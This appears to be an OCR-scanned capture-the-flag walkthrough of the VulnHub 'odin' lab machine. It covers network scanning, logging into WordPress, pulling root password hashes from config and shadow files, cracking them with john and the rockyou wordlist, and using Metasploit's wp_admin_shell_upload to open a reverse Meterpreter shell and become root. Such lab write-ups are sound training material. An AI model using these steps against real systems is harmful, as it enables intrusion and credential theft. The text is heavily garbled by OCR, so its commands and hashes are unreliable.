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arp-scan -1

i:~# arp-scan -1
eth@, type: EN1OMB, MAC: 00:(
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1.961 seconds (1308.55 hosts/sec
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i:~# nmap -0 -A 19: G.
S 1l ap 7 ( http .org ) a . ST
mass_dns: warning: Unable t etermi any DNS ser - erse DNS is disa
bled. using —sys r specify valid servers with --dns-servers
Nmap sca
Host is up (8.
Not shown: 999
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vikingarmy — Just another Joomla site - Mozilla Firefox
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Twenty Twenty: 404 Template (404.php)
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Burp Suite Community Edition - Mezilla Firefox

Burp Suite Community Edit: X+
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Error

§  Unknown host: odin
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fn: 192.168.56.108/wp-admin

Username or Email Address

Password

| ®

|__| Remember Me

Register | Lost your password?

¢ Back to vikingarmy
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Dashboard «vikingarmy — WordPress - Mozilla Firefox

Dashboard « vikingarmy —
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Screen Options ¥ Help ¥
@ Dashboard Dashboard
Home
1 € Dismiss
Welcome to WordPress!
’ We've assembled some links to get you started:
a Get Started Next Steps More Actions
K Write your first blog post | Manage widgets
- Customise Your Site
¥ Comments =+ Addan About page B Manage menus
or, change your theme completely @ Setupyourhome page B Turn comments on or off
» Appearance
B View your site = Learn more about getting started

& Plugins
-
& Tools Site Health Status VoA Quick Draft AV s
B Settings () Good Title
Q Colla U Your site’s health is looking good, but there are still some things you can do ‘ |

to improve its performance and security.

" P Content Drag boxes here
Take a look at the 7 items on the Site Health screen, ‘ Wha |
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Add Plugins

If you have a plugin in a.zip format, you may install or update it by uploading it here.

Browse... —®iEARS.php nstall Now

mirinstallnow BT, BARZESTHI, ERphp LW AR TRSB{EZT
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ar.gz rockyou nice wordlist

SWYgeW91IGxvb2sgY2xvc2VseSwgeW91IHdvbid@IG51ZWQgaXQgaGVyZQo=
base64ff% )5

If you look closely, you won't need it here
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‘_J‘ M Bi&: /var/www/html/wp-config.php _ax ||
{var/www/html/wp-config.php Z RIET ESR ~ o AkESITH ~ BF7T
00 DpLAULE PIEILA = WP, N
67
68 ~
69 * For developers: WordPress debugging mode.
70
71 e to enable the display of notices during development.
72 nded that plugin and them velopers use WP_DEBUG
73  * in their development environments.
74 *
75 * For information on other constants that can be used for debugging,
76  * visit the documentation.
7
78 * @link https://wordpress.org/support/articl
79
80 define( 'WP_DEBUG', )3
81
82 [* That's all, stop editing! Happy publishing. */
83
84 /** pbsolute path to the WordPress directory. */
85~ if ( ! defined( 'ABSPATH' ) ) {
86 define( "ABSPATH', )
87 1}
88
89 /** Sets up WordPress vars and included files. */
9@ require once ABSPATH . ‘wp-settings.php”;
91
92 5$eohilnuTuxApq8he$ClvqvFomMIad24dmU9eHeme cvevBGP10aHbWg/ / 71DVUF 1kt 7ROW16@rv90aL 7uKbDr2qIGsSxMmocdudQz jbol: 18600
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/** root:$6$e9hWlnuTuxApq8h6$C1lVqvFOMIad24dmU96Hcm6cvevBGP10aHbWg//71DVUF1kt7ROW160rvooal7ukbDr2qIlGsSxMmocdudQzj

b01:18600:0:99999:7:::%/
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root:$6$7vXyCOws$Hp/xoGf50Kov51cy83h6CTYoQerInkAFWWYZL22640N6POkgy9GTy4NVndDalhNUevgR122E7ykmA1BIIOgOC. :16821:0:
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R H#R: {f Frockyou¥ # (/usr/share/wordlist)

cd /usr/share/wordlist

A T — B REREE A, Xildrs 1

$6$e9hW1lnuTuxApq8h6$C1lVqvFOMIad24dmU96Hcm6cvevBGP10aHbWg/ /71DVUF1kt7ROW160rv9oal7ukbDr2qIGsSxMmocdudQzjbol

18 F gunzip ¥ rockyou’s HiLfi# JE Hi Sk
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john --wordlist=rockyou.txt 1&&john --show 1

rootgkali: /usr/sha rdlists# john —wordlist=rockyou.txt 185 john ——show
1
Using default input encoding: UTF-8

Loaded 1 pas rd hash (sha5s 5 crypt(3) $6% [SHAS12 1
No password hashes left to crack (se
?:jasmine

1 password hash cracked, @ left
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msfconsole
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root@kali: /usr/share/wordlists# msfconsole
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Metasploit tip: Adapter names can be used for IP params set LHOS
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ebsite Contact Form Upload Vulnerability

43 exploit/unix/webapp/Wp_Joptimizepress_upload 2013-11-29 WordPress OptimizeP
ress Theme File Upload Vulnerability

44  exploit/unix/webapp/wWpJphoto_gallery_unrestricted_file_upload 2814-11-11 WordPress Photo Gal
lery Unrestricted File Upload

45 exploit/unix/webapp/Wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer
Host Header Command Injection

46 exploit/unix/webapp/Wp_pixabay_images_upload 2015-01-19 excellent WordPress Pixabay I
mages PHP Code Upload

47  exploit/unix/webapp/Wp_plainview_activity_monitor_rce 2018-08-26 excellent Wordpress Plainview
Activity Monitor RCE

48 exploit/unix/webapp/Wp_platform_exec 2015-01-21 excellent WordPress Platform
Theme File Upload Vulnerability

49  exploit/unix/webapp/Wp_property_upload_exec 2012-03-26 excellent WordPress WP-Proper
ty PHP File Upload Vulnerability

50 exploit/unix/webapp/Wp_reflexgallery_file_upload 2012-12-30 axcellent Wordpress Reflex Ga
llery Upload Vulnerability

51 exploit/unix/webapp/Wp_revslider_upload_execute 2014-11-26 =xcellent WordPress RevSlider
File Upload and Execute Vulnerability

52 exploit/unix/webapp/WpJslideshowgallery_upload 2014-08-28 axcellent Wordpress SlideShow
Gallery Authenticated File Upload

53 exploit/unix/webapp/Wp_symposium_shell_upload 2014-12-11 =xcellent WordPress WP Sympos
ium 14.11 Shell Upload

54 exploit/unix/webapp/Wp_total_cache_exec 2013-04-17 - llent WordPress W3 Total
Cache PHP Code Execution

55 exploit/unix/webapp/Wp_worktheflow_upload 2015-03-14 =xcellent Wordpress Work The
Flow Upload Vulnerability

56 exploit/unix/webapp/Wp_wpshop_ecommerce_file_upload 2015-03-09 =xcellent WordPress WPshop eC
ommerce Arbitrary File Upload Vulnerability

57 exploit/unix/webapp/Wp_wptouch_file_upload 2014-07-14 - llent WordPress WPTouch A
uthenticated File Upload

58 exploit/unix/webapp/Wp_wysija_newsletters_upload 2014-07-01 =xcellent Wordpress MailPoet
Newsletters (wysija-newsletters) Unauthenticated File Upload

Interact with a module by name or index, for example

hﬂp&ﬁmugﬂadnneﬁuu_43661591

msfs > ]

use exploit/unix/webapp/wp_admin_shell_ upload
show options

set password qwerty

set username admin

set targeturi

set lhost 192.168.56.102
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msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.56.102:4443
Authenticating with WordPress using admin:gwerty ...
Authenticated with WordPress
Preparing payload ...
Uploading payload ...
Executing the payload at /wp-content/plugins/DeRPNLVFXM/tcntBdVfdo.php ...
Sending stage (38288 bytes) to 192.168.56.108
Meterpreter session 2 opened (192.168.56.102:4443 — 192.168.56.108:44772) at 2020-12-15 06:83:37 -@500
[+] Deleted tcntBdVfdo.php
[+] Deleted DeRPNLVFXM.php
[+] Deleted ../DeRPNLVFXM

meterpreter > | https:/blog.csdn.net/qq_43661593
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meterpreter » shell

Process 2347 created.

Channel @ created.

sh: 8: getcwd() failed: No such file or directory
sh: 8: getcwd() failed: No such file or directory
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whoami

ww —data

i Fsu, Frootilk 5310317 B 5%

su
Password: jasmine
shell-init: error retriey

whoami
root
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(*) BIA ashelp BEFMSS

odin.ova (Size: 2.6 GB)

Download: https://drive.google.com/file/d/1ENwWWh2deSyuT-bVipN6G_2Bdej-7jVG/view?usp=sharing
Download (Mirror): https://download.vulnhub.com/odin/odin.ova

Download (Torrent): https://download.vulnhub.com/odin/odin.ova.torrent ( Magnet)
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